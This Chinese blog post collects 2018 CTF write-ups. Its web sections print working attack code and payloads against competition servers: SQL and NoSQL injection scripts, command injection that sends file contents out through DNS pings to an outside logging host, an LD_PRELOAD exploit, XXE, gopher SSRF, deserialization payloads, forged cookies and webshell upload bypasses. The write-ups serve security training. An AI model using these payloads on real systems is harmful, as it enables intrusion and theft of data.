2018WriteUp 汇总

  31 mins to read  

List [CTL]

    我实在不想每场比赛都写一篇单独的博客,所以全部汇总到一起了

    2018安恒杯Web安全测试秋季资格赛

    爱い窒息、痛

    进入题目,是一个大马后门,审计代码:

    <?php
        $a=isset($_POST['pass'])?trim($_POST['pass']):'';
        if($a==''){
            echologin();
        }else{
            chkpass($a);
            helloowner($a);
        }
        function chkpass($a){
            if(stripos($_SERVER['HTTP_USER_AGENT'],md5($a))===false){
                echofail(1);
            }
            return true;
        }
        function helloowner($a){
            $b=gencodeurl($a);
            $c=file_get_contents($b);
            if($c==false){
                echofail(2);
            }
            $d=@json_decode($c,1);
            if(!isset($d['f'])){
                echofail(3);
            }
            $d['f']($d['d']);
        }
        function gencodeurl($a){
            $e=md5(date("Y-m-d"));
            if(strlen($a)>40){
                $f=substr($a,30,5);
                $g=substr($a,10,10);
            }else{
                $f='good';
                $g='web.com';
            }
            $b='http://'.$f.$g;return $b;
        }
    ?>
    

    传入一个字符串pass,其中有15位是我们可控的(ipv4最长情况3*4+3,如果有短点的域名也可以,假如ip不足15位,则在后面补/,一样可以正常解析,如:12.221.21.222//)。

    pass的md5值与User-Agent相等时,服务器请求pass中的可控15字符,并将返回的json解析后执行$d['f']($d['d'])

    故在服务器上部署代码,修改apacheindex:80指向它,这样就可以直接以ip访问:

    <?php
    $a = array("f" => "system", "d" => "/bin/cat ../flag.php");
    echo json_encode($a);
    ?>
    

    使用脚本访问:

    import requests
    
    url = "http://114.55.36.69:8020/upload/dama.php"
    _data = {
        "pass": "0000000000xxxxxxx///0000000000xxxxx000000",  # xxxx为服务器ip
        "submit": "submit"
    }
    _headers = {
        "User-Agent": "d35452fe56acbbbf06c1d4db1968f9ba"
    }
    r = requests.post(url, data=_data, headers=_headers)
    print(r.text)
    

    获得Flag


    GOGOGO

    进去查看相应头Server: GoAhead-http,查找资料,这个cgi存在代码执行漏洞

    网上的POC大多为反弹shell,这道题由于服务器配置问题无法实现,有题干知flagcgi-bin/hello.cgi中,故只需要执行代码读取cgi文件即可

    Linux中编写如下代码(我开始想复杂了,还想调用popen执行cat读取,只需要fread就可以了):

    //poc.c
    #include <unistd.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    static void before_main(void) __attribute__((constructor));
    static void before_main(void){	
    	FILE* fp = fopen("cgi-bin/hello.cgi", "r");
    	char buf[2048];
    	fread(buf, sizeof(buf), 1, fp);
    	write(1, buf, sizeof(buf));
    }
    

    执行指令编译动态库并发送payload

    gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt

    读取1.txt获得flag


    ping也能把你ping挂

    进入题目执行ping指令:

    127.0.0.1&ls

    PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
    config.php
    contain.html
    css
    img
    index.php
    js
    ping.php
    upload
    you_find_upload.php
    64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
    
    --- 127.0.0.1 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 999ms
    rtt min/avg/max/mdev = 0.039/0.041/0.043/0.002 ms
    

    进入文件you_find_upload.php,可上传图片,此处有解析漏洞,上传.php.jpg后缀文件(原本以为是.php;.jpg解析漏洞,这里坑了好久),分析源码后暴力猜解随机数即可,使用别人的phppayload

    <?php
    set_time_limit(0);
    $url = 'http://114.55.36.69:6664/upload/';
    $start = 1;
    $end = 10000;
    $index = $start;
    $random_pre = '';
    $filename = '';
    $result = '##';
    while($index <= $end){
        echo "No.".$index;
        echo "<br>";
        mt_srand($index);
        mt_rand();
        $random_pre = mt_rand();
        $filename = $random_pre.'_404.php.jpg';
        $cur_url = $url.$filename;
        if(curl_get($cur_url)){
            $result = $result.$filename.'--';
            exit;
        }
        $index++;
    }
    if($index == 1001){
        echo "no result!";
    }
         
    function curl_get($tmp_url){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$tmp_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch,CURLOPT_HEADER,1);
        $result=curl_exec($ch);
        $code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
        if($code=='404' && $result){
            curl_close($ch);
            return 0;
        } else {
            curl_close($ch);
            echo $code;
            echo "<br>";
            echo "#####got one!===>>>".$tmp_url;
            echo "<br>";
            return 1;
        }
    }
    

    猜解成功后菜刀连接,得到flag


    ping

    进入后查看robots.txt,获得源码,以及where_is_flag.php

    <?php 
    include("where_is_flag.php");
    echo "ping";
    $ip =(string)$_GET['ping'];
    $ip =str_replace(">","0.0",$ip);
    system("ping  ".$ip);
    ?>
    

    知需要使用ping读取文件where_is_flag.php,这里使用一个开源项目搭建的平台CEYE,原理是访问一个域名的下属子域名时,dns解析会有记录。在linux中可以使用飘号包裹命令,如:ping 'echo 111'.xxx.com'代表飘号,Markdown中写不出来)。或可以使用ping http://xxxxx/'whoami',解析主机的访问记录

    但是这里由于换行符的干扰无法直接读取文件,故使用bash的循环:

    ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;
    

    得到$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php",同样的方法读取,得到flag


    进击的盲注

    这题过滤了括号和斜杠,看了网上的思路知道使用order by注入,且需使用binary区分大小写

    盲注脚本:

    import requests
    
    url = "http://114.55.36.69:6663/index.php"
    flag = ""
    while True:
        for i in range(48, 127):
            _data = {
                'username': f"admin' union select 1, 2, binary '{flag+chr(i)}' order by 3#",
                "password": "aaa"
            }
            r = requests.post(url, data=_data)
            #print(_data["username"])
            if "password error!" in r.text:
                flag += chr(i-1)
                print(flag)
                break
    

    output:

    λ python3 blind.py       
    d                        
    dV                       
    dVA                      
    dVAx                     
    dVAxM                    
    dVAxME                   
    dVAxMEB                  
    dVAxMEBk                 
    dVAxMEBkX                
    dVAxMEBkX2               
    dVAxMEBkX25              
    dVAxMEBkX25F             
    dVAxMEBkX25Fd            
    dVAxMEBkX25Fdy           
    dVAxMEBkX25Fdy5          
    dVAxMEBkX25Fdy5w         
    dVAxMEBkX25Fdy5wa        
    dVAxMEBkX25Fdy5waH       
    dVAxMEBkX25Fdy5waHA      
    dVAxMEBkX25Fdy5waHA=     
    dVAxMEBkX25Fdy5waHA=/    
    dVAxMEBkX25Fdy5waHA=//   
    dVAxMEBkX25Fdy5waHA=///  
    dVAxMEBkX25Fdy5waHA=//// 
    dVAxMEBkX25Fdy5waHA=/////
    

    解码得uP10@d_nEw.php,是一个文件上传,同上一道题,.php.jpg解析错误,传马后菜刀连接得flag


    奇怪的恐龙特性

    我觉得不止恐龙奇怪,PHP和出题人都挺奇怪的。

     <?php
    highlight_file(__FILE__);
    ini_set("display_error", false); 
    error_reporting(0); 
    $str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
    if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
        echo 'A_A,have fun';
    }
    elseif ($str<9999999999) {
        echo 'A_A,too small';
    }
    elseif ((string)$str>0) {
        echo 'A_A,too big';
    }
    else{
        echo file_get_contents('flag.php');
        
    }
    
     ?> 
    

    代码审计,需要绕过

    传入A.A,后台php会自动转为A_A。而且php里数组与其余对象比较总是很奇怪,payload为A.A[]=1,我觉得php和js这种莫名其妙的逻辑简直是魔鬼

    出题人也很奇怪,flag出来了但注释掉了,需要查看源码


    中国科学技术大学第五届信息安全大赛Hackergame 2018

    这个比赛对Web狗很不友好啊,几乎都是Misc, Crypto,还有几道Reverse和Pwn

    签到题/猫咪问答/游园会的集章

    纯娱乐,略

    猫咪和键盘

    发现是一个cpp代码,但顺序被打乱了,每一行都是同样的打乱方法,观察后用脚本还原

    with open("typed_printf.cpp", "r") as fp:
        fp_format = open("typed_format.cpp", "w")
        for i in fp.readlines():
            i = i.strip("\n")
            i = i[0] + i[32:39] + i[1:7] + i[20:22] + i[8:11] + i[11:20] + i[22:32] + i[39:]
            fp_format.write(i+"\n")
        fp_format.close()
    

    Linuxg++ -std=c++17编译即可

    Word文档

    文档可以直接解压,获得Flag

    猫咪银行

    整数溢出,当时间溢出为负数时可直接取钱

    payload:存入时间=555555555555555555

    黑曜石浏览器

    这次比赛创造的梗,主办方特意买了域名做了网站,还做了禁止百度收录,还弄了很高的SEO权重

    首先题目要求使用黑曜石浏览器访问,故我们需要找到黑曜石的UA,搜索后找到黑曜石官网,查看源代码,发现前端验证代码里的UA字串,更改UA访问获得Flag

    回到过去

    Linux下装一个古董编辑器ed,按题目命令尝试,最后字符串为t4a2b8c44039f93345a3d9b2

    我是谁

    查看Http响应,发现418状态码,搜索知协议标准规定当向一个茶壶发送Http请求时需要返回418状态码,故回答它I am a teepot

    第二关,查找RFC文档,按照文档要求更改请求方法和部分请求头,请求报文为

    BREW /the_super_great_hidden_url_for_brewing_tea/black_tea HTTP/1.1
    Host: 202.38.95.46:12005
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Accept-Additions: milk-type; Sugar
    Content-Type: message/teapot
    

    猫咪遥控器

    按照txt中的上下左右绘制轨迹,脚本写的比较丑…

    import turtle
    
    turtle.screensize(1600, 1600, "white")
    turtle.setup(width=0.75, height=0.75, startx=None, starty=None)
    turtle.pensize(2)
    turtle.pencolor("black")
    turtle.speed(100)
    temp = 'D'
    def move(a):
        global temp
        if a == 'D':
            if temp == 'D':
                pass
            elif temp == 'U':
                turtle.right(180)
            elif temp == 'L':
                turtle.right(90)
            elif temp == 'R':
                turtle.left(90)
            temp = 'D'
        elif a == 'U':
            if temp == 'U':
                pass
            elif temp == 'D':
                turtle.right(180)
            elif temp == 'R':
                turtle.right(90)
            elif temp == 'L':
                turtle.left(90)
            temp = 'U'
        elif a == 'L':
            if temp == 'L':
                pass
            elif temp == 'R':
                turtle.right(180)
            elif temp == 'U':
                turtle.right(90)
            elif temp == 'D':
                turtle.left(90)
            temp = 'L'
        elif a == 'R':
            if temp == 'R':
                pass
            elif temp == 'L':
                turtle.right(180)
            elif temp == 'D':
                turtle.right(90)
            elif temp == 'U':
                turtle.left(90)
            temp = 'R'
        else:
            return
        turtle.forward(1)
    with open("seq.txt", "r") as fp:
        cl = {'U': 'R', 'L': 'U', 'R': 'D', 'D': 'L', '\n': '\n'}
        for i in fp.read():
            move(cl[i])
        turtle.get_poly()
    

    猫咪克星

    脚本连续运算100次后即可获得Flag,中间会有__import('time')__.sleep(100)等干扰项,需过滤

    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('202.38.95.46', 12009))
    temp = s.recv(512).decode("utf-8")
    with open("result.txt", "w") as fp:
        while 1:
            temp = s.recv(512).decode("utf-8").strip("\n")
            print(temp)
            temp = temp.replace("exit()", "0")
            temp = temp.replace("__import__('os').system('find ~')", "0")
            temp = temp.replace("__import__('time').sleep(100)", "0")
            print(temp)
            fp.write(temp+"\n")
            ans = str(eval(temp))
            print(ans)
            s.send((ans+"\n").encode("utf-8"))
    
    

    2018领航杯第三届江苏省青少年网络信息安全竞赛预赛

    Dict_Create

    题目给了几个小明信息,需要爆破zip文件密码,由信息生成字典:

    import random
    
    key_word = ["xiaoming", "178", "65", "22", "18888888888", "133562477", "painting"]
    brute_dic = set()
    for i in range(100):
    	temp = random.choice(key_word)+"_"+random.choice(key_word)
    	brute_dic.add(temp)
    with open("dic.txt", "w") as fp:
    	for i in brute_dic:
    		fp.write(i+"\n")
    
    

    然后用脚本爆破


    Chinese_Dream

    根据社会主义核心价值观的24字的index,生成对应的整数序列,然后将整数序列当做Hex字符串得到flag

    a = ["富强", "民主", "文明", "和谐", "自由", "平等", "公正", "法治", "爱国", "敬业", "诚信", "友善"]
    b = "公正公正公正诚信文明公正民主公正法治法治诚信民主和谐平等和谐敬业和谐富强和谐法治和谐法治和谐富强公正自由公正平等和谐文明公正公正公正自由和谐敬业公正公正公正和谐和谐平等和谐平等公正文明公正和谐公正公正和谐和谐和谐公正和谐民主和谐和谐和谐文明和谐富强和谐敬业和谐敬业公正平等和谐平等和谐和谐公正公正和谐自由法治友善法治" 
    res = ""
    for i in range(0, len(b), 2):
        temp = b[i: i+2]
        res += str(a.index(temp))
    print(res)
    pl = ""
    for i in range(0, len(res), 2):
        temp = res[i: i+2]
        temp = chr(int(temp, 16))
        pl += temp
    print(pl)
    
    

    XOR

    base64解码以ascii 0~128异或,查找flag

    a = "'7=06*e4e5g2bbc3g74gc0gb074dg`f`75bfcd,'"
    tmp = ""
    for i in range(128):
        for j in a:
            tmp += chr(i^ord(j))
        if "flag" in tmp:
            print(tmp)
            break
        tmp = ""
    
    

    PYC

    在线工具反编译pyc文件后,发现为rc4加密,后用网上找的解密脚本(主办方也是从网上抄的,改了改变量名,改了改无关紧要的语句,还改错了a, b = b, a改成a = b; b = a

    import random, base64
    from hashlib import sha1
     
    def crypt(data, key):
        x = 0
        box = range(256)
        for i in range(256):
            x = (x + box[i] + ord(key[i % len(key)])) % 256
            box[i], box[x] = box[x], box[i]
        x = y = 0
        out = []
        for char in data:
            x = (x + 1) % 256
            y = (y + box[x]) % 256
            box[x], box[y] = box[y], box[x]
            out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
     
        return ''.join(out)
     
    def tencode(data, key, encode=base64.b64encode, salt_length=16):
        salt = ''
        for n in range(salt_length):
            salt += chr(random.randrange(256))
        data = salt + crypt(data, sha1(key + salt).digest())
        if encode:
            data = encode(data)
        return data
     
    def tdecode(data, key, decode=base64.b64decode, salt_length=16):
        if decode:
            data = decode(data)
        salt = data[:salt_length]
        return crypt(data[salt_length:], sha1(key + salt).digest())
     
    if __name__=='__main__':
        encoded_data = "nKgI13JDX8qpFyUcvsnZqyKxb8Zfv9jCnrWul2knc8ZzhlfDpPxZmA=="
        for i in range(1000, 10000):
            key = str(i)
            decoded_data = tdecode(data=encoded_data, key=key)
            if "flag" in decoded_data:
                print decoded_data
                break
    
    

    Mamamama

    写脚本一直解压ZIP文件,最后一层解压出一个txt,用在线词频分析工具,获得flag

    
    import zipfile
    
    ptr = 1
    while 1:
        try:
            tmp = zipfile.ZipFile(str(ptr)+".zip")
            fp = open(str(ptr+1)+".zip", "wb")
            fp.write(tmp.read(tmp.namelist()[0]))
            fp.close()
            ptr += 1
        except:
            break
    
    

    2018安恒杯WEB安全测试秋季预选赛

    第一题

    忘记是啥题了,略

    easy_MD5

    数组绕过

    MD5

    参考这篇文章,传入两个编码文件

    注入

    sqlmap跑一下就出来了

    传个flag

    送分题,略

    贪吃蛇

    查看源码,有个JS颜表情,运行后出了个假flag,读了游戏源码,发现没有判断,没有请求,猜想一定和颜表情有关,于是查看DOM发现颜表情编码除了console.log了假flag还给DOM属性赋值了真flag

    小站

    结束才做出来,还是经验太少,比赛时发现有XSS但没啥用,而且一开始就想当然把文件上传pass了。首先查看robots.txt,发现flag.php,但echo的是假flag,后查看/controller/Cotroller.php,查看备份Cotroller.php~,发现文件上传判断逻辑仅仅是post的filetypeimage/jpeg绕过后连接webshell,菜刀无法连接,直接post命令执行system("cat /var/www/html/flag.php"),查看源码,得到flag

    sleepCMS

    基于时间盲注,过滤了preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join|select)/i", $_GET['id']),搜索新式时间盲注,使用get_lock函数,但select被过滤暂时没有找到绕过方法。运行前先用浏览器加锁,后运行脚本注入

    import requests
    
    ac = "database()"  # locksql
    # ac = "select table_name from information_schema.tables where table_schema='locksql'"
    result = ""
    # requests.get("http://114.55.36.69:8007/article.php?id=2' and get_lock('111',5)--+")
    for i in range(1, 21):
    	for j in range(32, 127):
    		try:
    			url = "http://114.55.36.69:8007/article.php?id=2' and if(mid(({}),{},1)='{}',get_lock('ac',5),1)--+".format(ac, i, chr(j))
    			r = requests.get(url, timeout=5)
    		except:
    			result += chr(j)
    			break
    	print(result)
    
    

    2018安恒杯江苏赛区省赛

    常规操作

    利用php伪协议读出源码?url=php://filter/read=convert.base64-encode/resource=upload

    <?php
        header( 'Content-Type:text/html;charset=utf-8 ');
        $url = "";
        if(empty($_REQUEST["url"])){
            //require("news.php");
            exit;
        }
        else {
            $url = preg_replace('/%+/', "", $_REQUEST["url"]);
            require($url . ".php");
    
        }
    //url=zip://C:\wamp\www/1.zip#1
    ?>
    

    送分的MD5

    预选赛原题

    !!A_A

    资格赛原题

    简单文件上传

    这个题上传图马是不能解析的。经尝试,文件过滤为文件内容而不是文件后缀表单属性之类的。故添加Webshell前缀为GIF 98a,上传后发现.php被转化为.ain,尝试后发现双写后缀即可绕过,后菜刀连接

    新的新闻搜索

    预选赛原题,服务器IP端口都没变,Sqlmap直接读了session返回给我上一次的flag,fo了

    不一样的上传系统

    代码审计,资格赛原题,但网上没人做出来。需上传ZIP文件,后台自动解压,过滤ph,故后缀为.pHp.jpg绕过,压缩为ZIP上传,菜刀连接

    秘密的系统

    访问robots.txt,发现登录页面,查看源码发现hint,查看执念于心的Github仓库

    /**
    1.you can use test/cib_sec to login ,but you are not admin!
    2.only admin can upload file ,but whichone can not bypass my rules.
    
    $sign = array(
                        'id'=>$model->id,
                        'name'=>$model->username,
                        'sign'=>md5($model->id.$model->username),
                    );
    $_COOKIE['cib'] = serialize($sign);
    **/
    

    以游客账号登录进去,然后序列化sign对象伪造admin cookie,payload cookie为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";},获得管理员权限后上传文件,简单绕过后上传成功,菜刀连接


    2018安洵杯

    智利-签到题

    群论里的求幺元,反正幺元 == random.choice([‘a’, ‘b’, ‘c’, ‘d’]),挨个md5提交

    格陵兰-Web1-无限手套

    进去提示Parameter NOHO:The Number Of Higher Organisms,传入NOHO参数,数组绕过,?NOHO[]=1,后 见到一个登录框

    灭霸,请记好你的password,post值后回显SQL语句<!--SELECT master FROM secret WHERE password = binary ' �u���1Ù�iw&a'-->,显而易见是password的md5hex字符串,所以构造一个md5值中带'or'的,即可绕过

    payload: ffifdyop

    德国-方舟计划

    几乎和安恒国赛黑市那题一样,当时看到了前端代码但竟然忘了JS弱类型比较。这里传七个数字去后端,然后与随机生成的七个数字比较,相同则加金币,{"action":"buy","numbers":"1234567"},因为JsonJS的数据类型,所以直接嵌入数组(字符串也是数组),{"action":"buy","numbers":[true,true,true,true,true,true,true]},弱类型绕过很快就能买Flag了,接着Flag需要解一到RSA,知p, q, e, 求d,写脚本得到Flag

    波士尼亚与赫塞哥维纳-Double-S

    这一题是Jarvis OJ上的原题,叫PHPinfo,是关于session.upload_progress的,具体步骤见WriteUP,实际上这题的反序列化点不止在filename,PHP_SESSION_UPLOAD_PROGRESS的值也是可控的,而且不需要考虑双引号转义

    filename="|O:4:\"Anti\":1:{s:4:\"info\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
    
    Array
    (
        [0] => .
        [1] => ..
        [2] => .user.ini
        [3] => 1.txt
        [4] => 404.html
        [5] => f1ag_i3_h3re
        [6] => gan.php
        [7] => gan1.php
        [8] => gansss.php
        [9] => index.html
        [10] => session.php
        [11] => www.zip
    )
    
    filename="|O:4:\"Anti\":1:{s:4:\"info\";s:65:\"print_r(file_get_contents(\"/home/wwwroot/default/f1ag_i3_h3re\"));\";}"
    

    马利-Magic-Mirror

    题目给了hint,是Host Header在找回密码中的欺骗,所以按hint的思路,请求找回密码的时候,将http请求头的Host改为自己服务器域名,然后用户名为admin,接着即可在自己服务器的web日志里找到重置密码的Token:

    222.18.158.227 - - [25/Nov/2018:15:40:35 +0800] "GET /resetpassword.php?sign=e3febf04b379e9a89d6d394484c56e9a HTTP/1.1" 404 480 "http://s.nemesisly.xyz/func/getpasscheck.php" "-"

    然后利用token重置密码,以admin登录后问d0g3里谁最帅,抓包发现是xxe攻击,读取flag.php获得flag

    <?xml version="1.0" ?>
    <!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php"> ]>
    <information>
    <username>&b;</username>
    </information>
    

    蒙古-Diglett

    进去后是一个ssrf,过滤了file,双写绕过即可,需要本地,添加localhost读文件:fifilele://localhost/etc/passwd

    见这篇文章

    然后读源码config.php获得mysql数据库的用户名库名表名:test_user, test, secret。接着使用gopher协议查询数据库,网上的脚本查询会提示No database name xxx,无论怎样都无法正常回显数据,所以只好自己wireshark抓包后代入协议查询:

    create user 'test_user'@'localhost';
    GRANT ALL ON *.* TO 'test_user'@'localhost';
    

    命令行mysql -h 127.0.0.1 -u test_user -e "select secret from test.flag"

    wireshark数据包:

    00000000  b3 00 00 01 85 a2 3f 00  00 00 00 01 2d 00 00 00   ......?. ....-...
    00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000020  00 00 00 00 74 65 73 74  5f 75 73 65 72 00 00 6d   ....test _user..m
    00000030  79 73 71 6c 5f 6e 61 74  69 76 65 5f 70 61 73 73   ysql_nat ive_pass
    00000040  77 6f 72 64 00 71 03 5f  6f 73 10 64 65 62 69 61   word.q._ os.debia
    00000050  6e 2d 6c 69 6e 75 78 2d  67 6e 75 0c 5f 63 6c 69   n-linux- gnu._cli
    00000060  65 6e 74 5f 6e 61 6d 65  08 6c 69 62 6d 79 73 71   ent_name .libmysq
    00000070  6c 04 5f 70 69 64 04 32  38 36 36 0f 5f 63 6c 69   l._pid.2 866._cli
    00000080  65 6e 74 5f 76 65 72 73  69 6f 6e 07 31 30 2e 31   ent_vers ion.10.1
    00000090  2e 32 39 09 5f 70 6c 61  74 66 6f 72 6d 06 78 38   .29._pla tform.x8
    000000A0  36 5f 36 34 0c 70 72 6f  67 72 61 6d 5f 6e 61 6d   6_64.pro gram_nam
    000000B0  65 05 6d 79 73 71 6c                               e.mysql
    000000B7  21 00 00 00 03 73 65 6c  65 63 74 20 40 40 76 65   !....sel ect @@ve
    000000C7  72 73 69 6f 6e 5f 63 6f  6d 6d 65 6e 74 20 6c 69   rsion_co mment li
    000000D7  6d 69 74 20 31                                     mit 1
    000000DC  1d 00 00 00 03 73 65 6c  65 63 74 20 73 65 63 72   .....sel ect secr
    000000EC  65 74 20 66 72 6f 6d 20  74 65 73 74 2e 66 6c 61   et from  test.fla
    000000FC  67                                                 g
    000000FD  01 00 00 00 01                                     .....
    
    

    hex复制下来后转为URL encode

    >>> a = "b300000185a23f00000000012d0000000000000000000000000000000000000000000000746573745f7573657200006d7973716c5f6e61746976655f70617373776f72640071035f6f731064656269616e2d6c696e75782d676e750c5f636c69656e745f6e616d65086c69626d7973716c045f70696404323836360f5f636c69656e745f76657273696f6e0731302e312e3239095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c 210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031 1d0000000373656c656374207365637265742066726f6d20746573742e666c6167 0100000001"
    >>> a = a.replace(" ", "")
    >>> a = [a[i: i+2] for i in range(0, len(a), 2)]
    >>> '%'.join(a)
    'b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01'
    

    最终payload:

    gopher://localhost:3306/_%b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

    回显:

    N 5.6.40-logw�D@Uj6k<)��-�TLa#(=:LO's1mysql_native_password'def@@version_comment-L��Source distribution�.deftestflagflagsecretsecret-���"'&D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}�" 
    

    SWPUCTF

    前几天的SWPUCTF,是学长推荐做的,Web题目共五道,质量确实很高,但因为得准备这周三培训和周五讲课的PPT,赛中只做了两道,然后其余题卡住后也没继续研究,就准备赛后看大佬们WriteUP了 (菜的流泪

    今天复现了一下题目,学到了不少,觉得很有必要记录一下


    用优惠码,买个X

    进入题目,是让你买个ipone X,注册账号并登录,送了一个优惠码

    存在源码泄露,查看source.php,会看到优惠码生成的部分,以及待会第二个需要绕过的部分,这里先说第一个

    它产生了一个随机数作伪随机数生成器的种子,所以我们可以通过爆破种子来预测优惠码生成序列,使用C语言工具php_mt_seed,读它的README,获悉该如何传入参数,写脚本生成参数:

    pad = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    q = "D1KlD56y4CIccwl" # your code
    s = []
    
    for i in q[:8]:
        s.append(pad.index(i))
    for i in q[8:]:
        s.append(62-pad.index(i))
    
    for p in s:
        print(str(p)+" "+str(p)+" 0 61  ", end="")
    
    

    将生成的参数传入php_mt_seed,大概几十秒后能找到一个使用于php 7.2.x的种子(这里低于该版本的解释器生成的随机数序列是不同的,题目是7.2.x),接着将爆破的种子传入EXP脚本:

    <?php
    $seed = 79978765;
    mt_srand($seed);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $len=24;
    for ($c=0; $c<2; $c++){
        $auth='';
        for ( $i = 0; $i < $len; $i++ ){
            if($i<=($len/2))
                $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
            else
                $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
        }
        echo $auth."\n";
    }
    
    

    这里需要按题目意思生成24为优惠码,将生成的优惠码填入,发起请求,提示购买成功,进入第二个页面,需要绕过一个正则:

    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
            //执行命令
        }else {
            //flag字段和某些字符被过滤!
        }
    }else{
        // 你的输入不正确!
    }
    

    开始我以为是正则回溯绕过,之后才发现这里是if (true)进入分支。这里由于正则标志位m的存在,不同行间有一个匹配上就成功,所以%0a截断后传入more /[f]lag即可


    Injection?

    先看到hint,说不是sql注入……难道nosql(not only sql)不算sql吗。我直接钻进死路想着是不是跟PHP Session注入啥的有关系,然后就在PHPinfo页面找session想关

    MongoDB我原来开发用它做过后端数据库,也学习过它的注入,可见原来的博文

    这个题passwd[$regex]=^xxx,和SQL一样的正则注入即可,但是它有验证码,我一直以来对待验证码都是半自动手工识别(原来写爬虫被tesseract的端到端识别率伤害过…),用opencv库的waitKey函数来连续打码,脚本如下(没有写验证码错误的处理逻辑):

    import requests
    import cv2
    
    url = "http://123.206.213.66:45678/index.php"
    c_url = "http://123.206.213.66:45678/vertify.php"
    l_url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{0}&vertify={1}"
    
    s = requests.Session()
    s.get(url)
    flag = ""
    
    for i in range(10):
        for j in "abcd....xyz":
            with open("captcha.png", "wb") as fp:
                r = s.get(c_url)
                fp.write(r.content)
            img = cv2.imread("captcha.png")
            cv2.imshow("a", img)
            captcha = ""
            if cv2.waitKey(0) == 32:
                cv2.destroyAllWindows()
                captcha = input("captcha: ")
            r = s.get(l_url.format(flag+j, captcha))
            print(r.text)
            if "incorrect" not in r.text:
                flag += j
                break
        print(flag)
    
    
    

    皇家线上赌场

    这道题真是让我涨姿势

    有一个文件读取接口,但它会在传入的参数前join一个路径,我赛中一直想怎么绕过对..的过滤,而我真的不知道传入绝对路径时os.path.join方法会不拼接路径

